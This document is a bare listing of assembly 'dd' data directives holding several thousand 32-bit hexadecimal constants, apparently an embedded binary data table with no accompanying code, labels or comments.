dd 8B8DABB8h, 6C19F059h, 543DB10Eh, 0BE920040h, 1A66A83h
dd 0DF521053h, 0D534F69Eh, 6415C041h, 8C497B02h, 0E07F0D5Eh
dd 59F2D4h, 48CE1E5Dh, 0EE4C8B4h, 3D0CB306h, 3D742F5Eh
dd 700DA97h, 0C2A488C3h, 0A501CDD3h, 0FC350C6Ah, 0C0F67667h
dd 0CC9339h, 95685C7h, 25E10D3Dh, 38045507h, 1AB07F44h
dd 1991076h, 0B48D6543h, 0E0C180C6h, 0FA00EBE2h, 0F945AEC5h
dd 1E589AAAh, 40D5A7DEh, 0C761D3A5h, 660360CEh, 2EE1793Bh
dd 3ED8138h, 0B66C60h, 0C12CDAAAh, 0E1E7CA25h, 9455A603h
dd 0F35B6AB5h, 0E01BB22Ah, 5C3D2Eh, 14B8ED73h, 0E8833A75h
dd 0E4958607h, 0D7329B7h, 27B3882Fh, 1DE0F1h, 0B6C7BE4Eh
dd 1C1695E8h, 0B00E678h, 7EFA99CBh, 388B7755h, 0FFB719h
dd 6CF11E9Ch, 5224063Ch, 13BF3200h, 12497AFCh, 6D9D00F2h
dd 76449E73h, 0D307F538h, 96093984h, 0A1709350h, 0A80300A3h
dd 0FB91790Eh, 6700C902h, 3E308487h, 0E8A7C1B6h, 0AC0D00E7h
dd 5FF35ACEh, 64006A88h, 470BCFBCh, 0F50068Dh, 71ADAB1Bh
dd 387E3640h, 0C494E022h, 0C6C20540h, 45DC0762h, 2247617Fh
dd 0B7C058E5h, 2448C0FAh, 0FB200E00h, 8A858080h, 168681FCh
dd 0FC3CA94h, 13697A24h, 0A8E1E480h, 2500A010h, 0BCD0BA54h
dd 38D9D169h, 1C4C9ADAh, 6E01CB05h, 0D0228048h, 0DF19E9CAh
dd 0E5581AB1h, 2E553C30h, 7242A6Fh, 0A02EBD12h, 0FCD14EA0h
dd 5C3590Fh, 0B926600Eh, 1F39D8F6h, 0FD59BEAh, 0C5E0A42Fh
dd 31BB18Bh, 486D6600h, 52CB7163h, 67A303F5h, 82377BAFh
dd 319892D8h, 0C73EB500h
dd 3C769BA8h, 209F013Ah, 737D0E3Dh, 0BD2CD0B7h, 9535C303h
dd 805E04B5h, 2149E7h, 8F395B96h, 0BEB60F85h, 0FC1D9200h
dd 54A65E86h, 0D8D0472h, 8AD45105h, 2DDC0074h, 52EB6446h
dd 6F9407ABh, 0C99C714Ah, 45B69A00h, 2005159h, 6D535292h
dd 2B0247Ch, 0FDDA65Ch, 0FE608D67h, 41075F83h, 896CEF9Fh
dd 8688BF50h, 8CA11D26h, 0DE9CC0CAh, 71BA032Ah, 70591724h
dd 847CD400h, 0FAB1CCA7h, 0F5D2007Dh, 700E7E65h, 0F2006396h
dd 0A423728Dh, 0B16756h, 9F923BFDh, 0EC431F36h, 0F4B4FE51h
dd 0B20E99F2h, 258B137Bh, 0A403EBBBh, 0C85A64DAh, 9EFCC8h
dd 6552E135h, 0EB07BB80h, 3A00D078h, 0EEBA4A2Eh, 0FED2ADA1h
dd 6B2B00CDh, 0AB88A3B4h, 0B0009E01h, 0A50EAA76h, 0BB4A61h
dd 55290D30h, 799C8BBEh, 38A3F80Eh, 0A69DE195h, 0E5D8D736h
dd 0DC91717h, 0E10D00B5h, 7FDD8C96h, 99B1AE01h, 0EE65C74Eh
dd 2C61CADCh, 8E1CFh, 0FF0280AAh, 1302307Ch, 0C3C4C4Ah
dd 0F7A880A4h, 479A2B9h, 0C6BD9199h, 0ABECC0E0h, 857296AFh
dd 0A8F8D707h, 8CA1E3D1h, 0B840A02Bh, 0E4B32353h, 0DCF00085h
dd 3E889695h, 6802BA0Bh, 282D39C7h, 0AB44608Bh, 757700E9h
dd 0BA3C9FE4h, 1700B659h, 0A56C490Dh, 0F45F9D6h, 28AFC8E6h
dd 1C67A7h, 0EF49C783h, 0DC81AA00h, 13F2E61Eh, 0BF8E005Eh
dd 85B5334Fh, 0B3005164h, 5DDCC2CAh, 0EB520A27h, 11FF473h
dd 82EAC0EFh, 0E0FD42E5h, 0D16A318h, 3FED2690h, 0C71E8974h
dd 0C120468Dh, 0D901A0AFh, 0D209B6E4h, 54281087h, 2F522B00h
dd 0D7F0864Eh, 2DAF70FDh, 8D07F47Bh, 0DC67B0DAh, 48A66EF1h
dd 1B337F0h, 0F9BF1F79h, 0F844038Dh, 30039AEEh, 88C25F9Dh
dd 0AD6CB825h, 8499009Ch, 0FB2BBFB0h, 3200BBC7h, 2F4FDDE7h
dd 9AD355h, 8FEB9C82h, 58C71F5Eh, 6C001B7Eh, 0A98E8337h
dd 50DEB1h, 541757C2h, 0D09472C8h, 0FC007C7Eh, 1EB7CEA0h
dd 0C40988h, 6723D38Ah, 5155F510h, 64963A00h, 7A5A02ABh
dd 5E3800B0h, 0F51383A9h, 82009B5Ch, 42C434FCh, 0FFFE269h
dd 2329D64Ch, 0CDF304E0h, 4F13578Bh, 0B0000B8Fh, 322E3EE8h
dd 67A91676h, 0B72802B0h, 0B860F4F6h, 3B00E787h, 894616DBh
dd 125AF25Eh, 848218h, 0EA5440A4h, 0E400D4C6h, 127F2172h
dd 12518548h, 0C1174466h, 0F534E000h, 4F0C20B8h, 42E44B00h
dd 1AB57E55h, 0E67401F5h, 62766E88h, 2CC9FC66h, 9D25800h
dd 48E2930Eh, 0F5E8A2C8h, 0CFA52CE0h, 0DA241000h, 0DEFFB54Fh
dd 640728B9h, 560A02BCh, 93A42690h, 0E0A768E8h, 60389B00h
dd 35A00F6Ch, 3C1A1C2Bh, 3F2EC0F4h, 0EBDB136Fh, 6C3B8E00h
dd 1FC94AA8h, 0EC0C01D0h, 7325D7CDh, 22F1E48Ah, 964FB60Eh
dd 0C2479EE2h, 67D0E7DBh, 0E674F757h, 1E201818h, 0EF4FA8CAh
dd 8A82FB00h, 0EA7CAA94h, 5461C16Ch, 0FD53EE47h, 380C2072h
dd 0C970B098h, 5A7C3503h, 0C0A11C49h, 0FE41F321h, 0A46E05FFh
dd 2593DAFh, 144DFEA6h, 0E01E6C46h, 69408643h, 0A694709Dh
dd 955F1DEBh, 5B2680F0h, 2355D044h, 0EE87CC00h, 0FBD596FEh
dd 0FF191F36h, 8B74C315h, 0C08DB45Ch, 0E4122312h, 8092092Dh
dd 394258C0h, 5CB97B44h, 0A11E9C56h, 7C2C40FAh, 8558E748h
dd 69E6C700h, 57BAAA5Ch, 0E5881331h, 0EB7C01FEh, 0C809B1F2h
dd 5C00CF74h, 621CE6EDh, 0FA633E0h, 0B0E49DA9h, 0A12BEB20h
dd 4A7203F6h, 0B475D200h, 51A9E294h, 722E0054h, 1143E710h
dd 280C5B09h, 0A0D769B8h, 0BA1902F0h, 555376FEh, 8A0D0040h
dd 0D05CE21Eh, 0C39B2787h, 28FAF801h, 33FBFF40h, 0F6620411h
dd 0C01B997Ah, 1F313E8Ch, 0D8286000h, 68B3872Fh, 48CDF079h
dd 984091C5h, 0BC5F3BFAh, 0D1045E00h, 1AA07663h, 0B82CBE28h
dd 14646100h, 0BD330205h, 936500E1h, 5DA17CB6h, 29006926h
dd 84B3D56Ah, 168F0C5h, 0B9B7F2B1h, 81E7AE61h, 1F65719Ah
dd 3360694Fh, 98D207DBh, 30803B78h, 4C81B1EDh, 7E20A600h
dd 3CCF8782h, 0BB073EE8h, 2879A007h, 6D8A6146h, 953E8ECh
dd 0CA8E8600h, 920EE390h, 0FAC70705h, 80AF522Fh, 5751759Eh
dd 66778400h, 0BB88C3D9h, 0E0F800D1h, 0EC4ADE2Bh, 992CC711h
dd 31000090h, 0A6625E96h, 21F50097h, 36221BE8h, 2C05B8EBh
dd 2EC4D881h, 0BB5AE000h, 72F1751h, 0C9B26525h, 0CC39B5EFh
dd 557B7A28h, 0ABB0CA0Bh, 3440BCFh, 0C8B10E9Ah, 903D9079h
dd 92542CF4h, 0C07A8004h, 0A803625Fh, 0C8E249h, 2106BE87h
dd 0D2328Dh, 3EDAD08h, 982CD91Dh, 0BCE41401h, 0C51CE53h
dd 0C1336F0h, 5870A560h, 1F77AC10h, 1C224D0Eh, 0D96D612Ah
dd 782435DBh, 0D2C1F80Dh, 7E3D03F9h, 699841E3h, 73079828h
dd 0BDA92902h, 96188FA0h, 8BEA0103h, 5C80A5FBh, 631070E2h
dd 0B284Ch, 0A99A4A9h, 71139Dh, 56FF7A62h, 0CE7E34Dh, 9EEC31Ch
dd 6B453280h, 738DF3AAh, 0D3FB0087h, 0D6502A4Fh, 0E3005E7Fh
dd 7606C36Dh, 5ACEEF2h, 0D028547Bh, 0C064D72Ah, 4EE3F06Eh
dd 0F3004CFAh, 5C6FC485h, 3AD21Bh, 10E49C4Bh, 0E6B51D9Fh
dd 1118FE71h, 4F09AE77h, 781E0934h, 3480C5F8h, 0DE1965A9h
dd 1D0D3D00h, 9C94CCD5h, 4D32002Dh, 2F13408Ah, 460025ADh
dd 7670C23Dh, 0D2E7A6h, 5977941Ch, 0A05B7550h, 1F24024Ch
dd 11A0D1B8h, 26BAABh, 152E2CD8h, 40E27Ch, 9816D3E5h, 79B7F466h
dd 9FC98A3Fh, 0F540EC25h, 0E2999390h, 0D36E0001h, 4F9C0EE0h
dd 1C01D18Ch, 95DD828Ah, 9FF7518Dh, 73333170h, 0FC2700F5h
dd 0C517EFA5h, 0FF001308h, 18C229A9h, 24F22BD6h, 4F660Ch
dd 5EA3D837h, 43002FBEh, 55F9BC4Fh, 65495BFh, 0B374E28Ch
dd 6613C083h, 3438BD89h, 5D993B12h, 0A7540603h, 70C3F8CCh
dd 132965D0h, 5AA5F403h, 0C06C5FAEh, 0FDF1Dh, 4D1B2A24h
dd 0B33A9280h, 5C5B5318h, 3473520h, 79AB9CCEh, 9BA3F06Dh
dd 80FB483Fh, 54D26231h, 4FD53C2h, 4287EF9h, 0A494C14Fh
dd 0C00A2AB9h, 7328D896h, 0BE758C00h, 78461583h, 0C6900711h
dd 0D00F12B6h, 0B8707966h, 8297711Fh, 7DC1511Fh, 2D0D1507h
dd 0C081EBDBh, 9B5DCCh, 7771E0E8h, 0C4F1C524h, 0D9B0A373h
dd 0C9E14C00h, 0DFBDB73Bh, 3E736Dh, 0E8B1AE82h, 3F0976D9h
dd 3D298703h, 3A229Bh, 804FD038h, 0A13C0F6Ah, 0A81C7100h
dd 5708E705h, 0A2A50010h, 9440F018h, 0BF67AFBh, 0EDA30D03h
dd 0B04BFDA7h, 7EB55Fh, 7616F00Ah, 7006EBCBh, 0D757F8C3h
dd 1DF3987Ah, 61810033h, 890D6494h, 5800192Bh, 5AC1ABA2h
dd 605F4h, 63D5CD28h, 507FC2A6h, 0D42CE200h, 7908E5BDh
dd 34810B9Ah, 0B801E1BAh, 0C6445476h, 0CA047CF2h, 0B3D323F6h
dd 0D64B1080h, 58213AE9h, 1DA31680h, 32373F45h, 43652300h
dd 0E12F7BF1h, 38D40068h, 2C471815h, 3605511Dh, 2A06BD5Fh
dd 0DC875CC0h, 68650012h, 0D0B5EC62h, 9C07FFA4h, 0CFF59EC3h
dd 51C0D395h, 0E3AB232h, 44BEDCE7h, 0F869483h, 0E15963A9h
dd 872880D8h, 0D44C0217h, 2CA63016h, 6C82A060h, 22B0ABECh
dd 5D9F7618h, 4CB918h, 0CF3EDFE3h, 0E1E46108h, 19338201h
dd 4E161848h, 984F37E4h, 0D8FB4C65h, 6800EE38h, 293F19DCh
dd 2E77CA17h, 8E03E278h, 38432BC0h, 655A980Dh, 53EF0036h
dd 4A02CAE5h, 3C005C98h, 0C674913Bh, 8439A7h, 6DFFFB4h
dd 1A0242E6h, 649EEB01h, 189791C5h, 0EAF49D4h, 88591258h
dd 6760F4AFh, 7D3961CDh, 63E95207h, 5AE07C5Ch, 250F337h
dd 0C9FE57E6h, 6452979Fh, 0DEC20E03h, 80AE1F02h, 3E4421FFh
dd 3981406Fh, 0CE7B2531h, 0D836C526h, 8C00C9D9h, 488011A8h
dd 0E54A48Bh, 0FCB1EA3Fh, 0E5A9F480h, 0B0264EFBh, 0B3070CCDh
dd 1460D09Bh, 25B835A1h, 0B80078CEh, 0C9238CD2h, 0CDD87001h
dd 77137F8Dh, 76496D0h, 0FE5D3757h, 0F9D501B2h, 55C8EB36h
dd 10243A2Dh, 6A023CE3h, 0E84EC930h, 59226DF4h, 0EC054C9Bh
dd 1D5EF2D8h, 4DCB85E0h, 66B000FBh, 0C66D7D78h, 6807C200h
dd 677ECA13h, 69380E89h, 9B27A3BCh, 2E0870DFh, 52028A4Fh
dd 29D4B3A9h, 4C604864h, 74DB00B0h, 51D1FDF6h, 2E07EF9Bh
dd 72463091h, 0F0543C40h, 713F001Eh, 2299B1AFh, 961C4EBCh
dd 0DE807C57h, 0A5E408D0h, 0FF72D3h, 0F67F2F07h, 0C05546D4h
dd 5699C00h, 84F54C36h, 0CFC60938h, 6C801FECh, 55124074h
dd 148AF800h, 0D53A296Bh, 8DAF0004h, 1FF02F50h, 4B4B2ABh
dd 0C5F6003Eh, 90FEF28Ah, 0A1DB00DFh, 0A9354F09h, 340040A2h
dd 281B3DD6h, 7C209248h, 0EA9D1E5Eh, 0A3D633h, 0C3FF3037h
dd 73265F37h, 0B0001CF2h, 8A324D2Dh, 0E01E2C16h, 4A7F0FB0h
dd 84435EA9h, 263E1BB8h, 6930CE26h, 0CC404D00h, 0EE684B9h
dd 96FF33A1h, 23572AA0h, 0F43DF643h, 971A80AEh, 4FA1E79Ah
dd 0BA0E007Ch, 44829188h, 1900631Bh, 0DDB2F310h, 543C1290h
dd 279A01Ch, 6078B1BFh, 88E49D91h, 0B70033E6h, 0B008F757h
dd 58BA22DDh, 6000B141h, 66CCA5A7h, 8701B5A3h, 6CEB7FA8h
dd 0E1C06328h, 4C610012h, 0FB6B8907h, 0A4016F33h, 10C45724h
dd 0A4307770h, 0F23C1FD1h, 0A76100C3h, 35CC3DAAh, 834B9A1Ch
dd 0B3BC6740h, 0E4728BFh, 5D5955ECh, 0F7A0CA40h, 94C07AC4h
dd 1CF9B21Bh, 0A64B0375h, 3FE9E761h, 8F990DB8h, 905F5300h
dd 0C83BEEACh, 0AFDA1C68h, 0EBC70191h, 6CBD8101h, 0D8980060h
dd 1707A5ACh, 0ABBE0020h, 0E66FC7D6h, 2400F1A4h, 0A6F36A3Dh
dd 0F27EAD82h, 236B2EFEh, 47DD01CBh, 0C0CF20DAh, 97FC3413h
dd 5C74EE38h, 762200E2h, 29ECF2B7h, 34EF00A1h, 0C18BA816h
dd 0FE001E1Ah, 407897B4h, 3AEC28h, 73DA34DEh, 6DD2999Bh
dd 8EEE800h, 0BE4AB9A3h, 0F2E23831h, 3CC81C00h, 537C19C1h
dd 270DC318h, 0D41D74h, 0DD1CC28Ah, 749866E6h, 0C426E100h
dd 0A19C37A9h, 0D776027Bh, 0CB50ADEBh, 0CC0B2861h, 0DDEE2ED1h
dd 0B3FD3C00h, 8098E3C6h, 9BB2008Ch, 2B76DE46h, 303E724Ch
dd 177D8040h, 31C5A23Fh, 2D95004Dh, 0D9548A49h, 8E00586Dh
dd 0C9B9C2Bh, 95AC2F52h, 0A628E090h, 4ECC9A07h, 0D7D714B7h
dd 0F8732752h, 972100CCh, 0A6527A9Fh, 0F700F9EBh, 4C2F7089h
dd 2E993FD3h, 58886B49h, 9D1F4278h, 6F00BBBCh, 0EFF50B2Fh
dd 1B8E0107h, 0D87F12CBh, 13E8C74Fh, 4648BBC4h, 39981674h
dd 0E3C06C20h, 498B189Ah, 0DDB8883Fh, 1700FB98h, 9F65ACB6h
dd 1814CCFh, 0D9A2949Ah, 0E0B75BF3h, 0EB009BCDh, 4223CE41h
dd 0E1680Fh, 0A4673533h, 294A8F7Bh, 7AF99202h, 404F30F5h
dd 9D9AC13h, 1615D11Ch, 0E4674C00h, 4D072705h, 1E2C368Fh
dd 39AF1260h, 56A600B4h, 3F0E15F6h, 7B096D0Dh, 80DDE2E3h
dd 0B604C390h, 0FA13008Dh, 526E8721h, 3F011CB8h, 2B127718h
dd 8428625Ah, 8BB2BB00h, 0C3B4EC09h, 5FA32D00h, 0C9EA3C8Fh
dd 0F14B184Ah, 0AB0520D8h, 0D60C8000h, 8E4D3D4Fh, 676E1C0Fh
dd 9C38C035h, 17AAF05h, 99D55E00h, 0DF220C97h, 0F045505Bh
dd 2240069h, 0D8FA3D7Fh, 93269E56h, 0B83C0A9h, 0CD159545h
dd 2454A8E3h, 2E8A7814h, 2BCED0Bh, 0CAF8D1D4h, 6485E4E0h
dd 0E8DE5200h, 5680D0C9h, 3BF2013Eh, 4793B398h, 6E8730F9h
dd 629092Ch, 3A7DDC00h, 0CABED1h, 0A8A1E207h, 145EF906h
dd 0BA584900h, 4B7D377Eh, 6F9E0012h, 819476C9h, 25906664h
dd 62313A02h, 50C8E6C3h, 989878h, 1B93CBFFh, 4387DBA4h
dd 8049B138h, 88992895h, 0E6C163h, 0FB0780D4h, 395A9FB0h
dd 80BE183Bh, 9E305F59h, 0BCEBAEh, 2CB75D97h, 0B892D079h
dd 9F5A307h, 0CDB038E6h, 0B1C276h, 0D1A4AF27h, 68E2EA31h
dd 3804939h, 9B630CF5h, 0C4101E72h, 2FF100B8h, 0BB75F828h
dd 0A00B3C28h, 0C0417F07h, 0F457CBDAh, 1042D6h, 6EDC67CEh
dd 87D09701h, 0DDF8E800h, 998FEB81h, 4EF000DBh, 1EEA8388h
dd 0BBF46838h, 7DBF6301h, 5B788271h, 0A391D0h, 87A98EE6h
dd 75E27783h, 0F56DB900h, 2E822A7Ch, 8F460096h, 0DAF3E59Eh
dd 0E91E646Ah, 3406FAEh, 0A194595Fh, 42E81C74h, 0ACFC40EFh
dd 820118CDh, 26956400h, 0E57CCBC1h, 57230060h, 6B1D8AC7h
dd 0F51629D5h, 0FC0026E3h, 437E99AAh, 7DB7076Dh, 0E064553Eh
dd 667A6A11h, 699FC507h, 92106F71h, 795D988h, 0D02336D3h
dd 45783082h, 0DD7A0AE3h, 0D1D42028h, 2D088900h, 62E6FD06h
dd 2288003Bh, 2EC29A7Eh, 9091130h, 0F92BEDEh, 646E0AAh
dd 28990F5Fh, 3F702A4h, 407B9D20h, 0B7E8D351h, 49004A5Ch
dd 74DE9334h, 7768659Ch, 844438A4h, 0C8F7DF00h, 0E10698Bh
dd 0E627FF00h, 0E74D9858h, 0D263006Bh, 0E424DD31h, 0D900C34Ah
dd 0B206D5BFh, 395D38A6h, 0F2AA08h, 49C68BE3h, 0FCF3C25Fh
dd 4E125907h, 91803DE5h, 8347A1h, 90B19D2Dh, 0B06C86F6h
dd 4B993E00h, 0C97C8E0Ch, 603B00A6h, 178D0198h, 0DD004A7Dh
dd 0B3B5FF73h, 0F0BC4C14h, 35B7840h, 907D09E7h, 0A90351B7h
dd 1A92728Ch, 0BD3DA027h, 0D4780CF2h, 0D0211E9Fh, 90043400h
dd 3C5E727Ah, 0B3440064h, 9FCC4CEDh, 970F3A3Dh, 0CFB7079Ch
dd 0AB8E80EEh, 0F4D2F5h, 3A170286h, 96EA095Eh, 0A072A7Bh
dd 582C3CD3h, 0A8005D4h, 3F98B71Ah, 0BFBFCF95h, 549F6483h
dd 0F5993109h, 0C012C4E8h, 0A8274905h, 4C40ABD7h, 5A9A7C08h
dd 9C5E0079h, 8DED8758h, 8558A59Fh, 234A1EA7h, 0AB040FC4h
dd 508BAEC0h, 0BB1D006Fh, 9111845Bh, 3F01A2F0h, 2E418E28h
dd 0C0FB6E9Dh, 60732Fh, 0B56D27C8h, 85C214E8h, 9911A21Fh
dd 40AB6680h, 3C3DBDFDh, 6D38B4CEh, 0FBAC54h, 0D0837FD7h
dd 0B130784Fh, 35A84001h, 32B44B26h, 0F06D68D4h, 71DF031Dh
dd 918DFE27h, 0FADD87F0h, 0E9D89A60h, 0FE475326h, 3557792h
dd 0E8240977h, 20073665h, 0BC46673Bh, 88A8BE10h, 0C08F7BDAh
dd 0E2903F88h, 749DD59h, 0BC4D0B04h, 8F8941h, 0F6A8C71Ah
dd 7FA00D2h, 0D94CC05Fh, 28DE08B0h, 9F3DEE40h, 3F859C3Ah
dd 8E36201h, 9803C0B3h, 549908BDh, 0C0A8E3F7h, 0E7272Dh
dd 4038DE75h, 0D7482C03h, 292E9C06h, 600436h, 229E0B7Dh
dd 6E75CAA1h, 0A794D000h, 64F91FA8h, 5AF25Dh, 9EB4335Ch
dd 481E0688h, 53839000h, 6C12513Ah, 9A6600CEh, 0F5C53174h
dd 0E200CB17h, 0DE8A1086h, 0F2BB553Fh, 0F77000B6h, 9AA179DCh
dd 187F1C53h, 62A88000h, 5FA98B68h, 32772439h, 79C50052h
dd 0DCAAD720h, 0DA3C900h, 25DFDE60h, 0BCAB000Ch, 7D461BA7h
dd 0D600C79Bh, 0EB8B9DBAh, 63BF76h, 61D4A55Ah, 0CCA88A52h
dd 1BE8C5B8h, 37E31818h, 2F4579h, 8A353ADFh, 0EF388FC8h
dd 21D2500h, 0D74B3674h, 0B6C600D8h, 83FDEE76h, 0CA3C01CEh
dd 0C91C000Ah, 0FCAC8AE4h, 4450143h, 0F4D67B4Eh, 847C60F8h
dd 7E395774h, 0BF950F9Bh, 11C01CBEh, 8E0AEAC9h, 1A351D78h
dd 0D3D900ECh, 0A1BAC75Bh
dd 0A5CCA00Ch, 0C6B0A97Bh, 0E88CF16Ch, 0E40037F0h, 31D71CA0h
dd 428335h, 55524C22h, 29E15D9Fh, 54A26201h, 85E7EE14h
dd 7C83620h, 69B4A422h, 0B1FEC063h, 0CA3EB6D6h, 0C986002Bh
dd 0E5CB0412h, 634F0054h, 7F4779E2h, 4674D239h, 720B2D8h
dd 6D020096h, 0D05C9703h, 4600C63Ch, 0C082745Ah, 3DFC9CFh
dd 472BCBB8h, 9FF82102h, 41D3F2A4h, 0FA0A2400h, 1880FF59h
dd 807F48Fh, 80C0C6C8h, 4F09649Ah, 326A003Bh, 1924D9AAh
dd 0C00D303h, 8E029BCBh, 0C465F4h, 0B6813FFFh, 0AA86291Fh
dd 0CB2328C0h, 3B6512C5h, 20603E14h, 45D050C7h, 0F9E7580h
dd 0E655611Bh, 6EA35D20h, 6C00F374h, 11338EAh, 32C5C8h
dd 0B769FB99h, 94B51C4Dh, 301F853Ah, 500F61DEh, 98E6A9h
dd 37AA96AEh, 90B8CDCAh, 0C70373ECh, 0C87AF119h, 23180B0h
dd 0C35E171Ah, 6172033Fh, 0B7F73D85h, 3EA430ECh, 0BD009FFAh
dd 0EFD525B8h, 7375027h, 0A10ABA24h, 824F17DFh, 49599BCh
dd 41C73CE0h, 0F4F85Ah, 775EAA3h, 45A0E69Bh, 260A7D00h
dd 3F77B5B9h, 0ACF71CD7h, 0C6728E15h, 595A2858h, 0D7D3C00h
dd 611DA3B7h, 0F049EC86h, 0FF44FE4Dh, 0B422D8h, 3C405C9h
dd 74E18B65h, 0E4ABD300h, 6B34C5BEh, 162A3E6Dh, 0AD899680h
dd 0A8DEE6EDh, 0A6C12C01h, 4217E9F9h, 0FE708420h, 0DF7601B1h
dd 20B2CEEAh, 0E969C09Ah, 7BAEB805h, 7DC0FADBh, 258C42Bh
dd 0D91F6376h, 0DF60C03Fh, 4C169EDCh, 0F70759FEh, 7723AE30h
dd 5C6BA8C1h, 0AF7AE2h, 5420762Ah, 6697CEA0h, 82B57201h
dd 8175A68h, 9FE11C4h, 375B5D2Ch, 50360C00h, 430C7CF2h
dd 0F4A2A7E0h, 2A14004Ch, 351761F0h, 0D5B82B60h, 0E53A1879h
dd 0D50D00D2h, 49F4FAABh, 9A0C009Fh, 54A92ECCh, 670FF23Ah
dd 230405Ah, 800F3F81h, 41796486h, 1593008Fh, 6A9CECFEh
dd 591D0E2Ch, 3000129Bh, 0F81FAE58h, 0D1030065h, 0CC1CC062h
dd 0C049D86h, 0F781244Bh, 16975880h, 8BBC00B0h, 221D830Dh
dd 8C7B5849h, 9DBBF900h, 0D3E1140Fh, 395E00E4h, 38495397h
dd 0CC0592DFh, 0FBCFE994h, 0E6F6F980h, 63DB1EAEh, 0C00940B5h
dd 1CA7D1D3h, 78C11407h, 9B7134AAh, 53F8C5FCh, 3D3A00A6h
dd 7749EE2Fh, 0F004674h, 0F973FA95h, 0CB94CAh, 168BB8AFh
dd 712F5DB3h, 8BA4073Eh, 80407DF4h, 0D6430356h, 0C9FC0033h
dd 2A7772AFh, 7B1DA480h, 0E5C026CCh, 29CAF0DDh, 6AF700EBh
dd 0C77E3515h, 4507A5E2h, 0A4285A9h, 27C96BE0h, 8C7F0733h
dd 5144F17Eh, 0F94CB95Bh, 568E4A7h, 0C80E0600h, 44F251D2h
dd 66F40147h, 70AF9D02h, 9E27DCBCh, 0DC00DA72h, 48FA1591h
dd 84C728h, 195513A8h, 258D8810h, 99BE3306h, 48CD7Fh, 9C4D1C22h
dd 546EAFD7h, 0D6746A00h, 0C519823Fh, 17E100DDh, 0FE0D53F1h
dd 0D00001B8h, 5B7DB35Fh, 9BA0D2h, 947865B0h, 8575F570h
dd 0B6BEED00h, 6932BCE5h, 0C4170ECCh, 63A03EBBh, 836D14C5h
dd 0D5389D00h, 111698C8h, 20B56089h, 19FE369Eh, 9F039A7Eh
dd 51D38B5Ch, 0E4F6B816h, 0FF1F69Dh, 0F8AFF937h, 0D74FA320h
dd 99001834h, 9E61961Dh, 0CBA1D4h, 6C439047h, 0A60709A4h
dd 0F8B18200h, 4F100541h, 0BBF0ABh, 0CF4A3466h, 9FDBA745h
dd 179239h, 2236ED88h, 37327BEFh, 0A0C06C0Dh, 0B378DA0Fh
dd 0D8F3D900h, 0DC87EC60h, 16B2F406h, 7C83B0Ch, 0AE485315h
dd 13935FC1h, 94AFF0C3h, 1C00D890h, 0A11E1FE4h, 0EE1B24h
dd 8299E1C5h, 0E8BEA28Dh, 0BCD99C00h, 0EF6A93D2h, 607E11h
dd 0B5627E72h, 10E4215Ch, 99838C00h, 0AADDA0ADh, 11150007h
dd 1CC17DF0h, 0FC00A1A5h, 8D8EB5CDh, 3AC378Ah, 0E151E347h
dd 86D856BDh, 77005D17h, 25D7EAC7h, 0D95E42h, 0AFE96E1Bh
dd 82712A8Ch, 0B20BA20Bh, 0FFEA005Dh, 2F1EBCh, 0D7ED0C72h
dd 6AA6E32Dh, 546DAD00h, 858918DDh, 0FC930069h, 81826E91h
dd 0F5002CC4h, 8086F9B4h, 795D48Bh, 9D601218h, 134310A1h
dd 7F740174h, 0DCB16807h, 82402881h, 0B87083h, 752AAC91h
dd 933187A7h, 0C0611900h, 0D25292D1h, 0D60E0079h, 1B0AE9DFh
dd 0FF1C064Dh, 1940362Fh, 9C14CB5Ch, 0ACE2B8h, 0C28F9F45h
dd 0EB8E2E1Bh, 803A883Ch, 355BB62Dh, 0C0A0C3h, 425634Bh
dd 0C1E5E88Eh, 9E87CF00h, 40E957D5h, 0CCE70018h, 0A62E6EDCh
dd 1C3F84B8h, 3E7B0412h, 0A980407Fh, 0F761797Eh, 0C635E0h
dd 34E3C7EDh, 5C89A36h, 0DCDBBF07h, 0C4D09858h, 0D4E30h
dd 531E6C73h, 9CA71566h, 79CE9700h, 13777EFh, 9E183C44h
dd 3A437F07h, 1D15E008h, 9700C136h, 4FEDD7CDh, 0AAF226h
dd 997A908Ch, 0FD2A9AD0h, 7295EF07h, 213065B9h, 0BE5A6Dh
dd 48095E73h, 0A437A16Ch, 0C01F6600h, 8D683693h, 583512F6h
dd 261C40CEh, 24F87DFBh, 2A84A300h, 82EA5B34h, 0F4913BB3h
dd 0A8F62100h, 0ABAEA9FFh, 0D4C8D24h, 7DEF2E07h, 90D1D703h
dd 324DDEh, 245A3555h, 0E35EEAF6h, 0BD903B00h, 77B95983h
dd 4B331FDAh, 67210079h, 34F3C091h, 0C200B6E4h, 0C5D16519h
dd 269AF217h, 1EBDEE28h, 83C14077h, 4662E3F3h, 715A4000h
dd 1382890Ah, 4B1B9860h, 1830ACC7h, 0BD96DFB6h, 10A80A79h
dd 0F8B88Fh, 0ADA03D6Fh, 9500219Dh, 2BD7E3CBh, 3ADF7Ch
dd 8BC1AE3Fh, 46A068F1h, 7438C607h, 4E00EA03h, 5C416031h
dd 0A9077EFBh, 80917380h, 711396BEh, 54745800h, 5D152BD4h
dd 38B71F29h, 0BF874FD1h, 0EB523400h, 85502325h, 0CC00F8D5h
dd 0E31164BBh, 7B56B13h, 7C959232h, 0AE7FB00Dh, 0B21D5DEBh
dd 284E0C6Ch, 0C9DB00D8h, 26D968h, 0E0FA357Bh, 385F6BFBh
dd 0AB190A03h, 0E0EBC4A6h, 5026F3EEh, 3867883Dh, 800BD22Bh
dd 8880BF39h, 0DBD437A3h, 9C595700h, 45499675h, 9F210553h
dd 80836B2Bh, 1CA54CDAh, 0C409A1Ch, 0FB360A00h, 9C2FE0h
dd 17CD7090h, 4822E112h, 341EED75h, 3A013D25h, 0D041943Bh
dd 0C1602080h, 744F28A9h, 84BBBC0Fh, 0A705E06Bh, 0EF59434Dh
dd 7BFCA831h, 0D56400D2h, 0CBCDD348h, 0D0008D83h, 240C7860h
dd 1C17294h, 0A7599558h, 60DA28AAh, 0A1005ADAh, 63455C90h
dd 74033AD4h, 76A1E8Ch, 0DE82009Ah, 90FDF47Ah, 38CC2C30h
dd 183FC1ADh, 0A1D18BBDh, 44A042B9h, 35001C95h, 3461BB66h
dd 2A36056Ah, 0A4CD27h, 734F5384h, 0ECB3FB02h, 0E24D212Eh
dd 6AEAAC00h, 161C8CAh, 8F938B99h, 0CF71A60Dh, 3D690A7h
dd 0F500F326h, 44EC5666h, 7F8DBBh, 2AB46EDAh, 0D677A670h
dd 0FAC3C13Eh, 86A1D501h, 6D89C932h, 9A3BD0h, 3025A48Ch
dd 0DD4BA0CDh, 0EF002C74h, 0A564556Fh, 75609D1h, 211F8158h
dd 0A73AB0F0h, 8D014E37h, 7A9938E8h, 13ECC5D4h, 8107376Ch
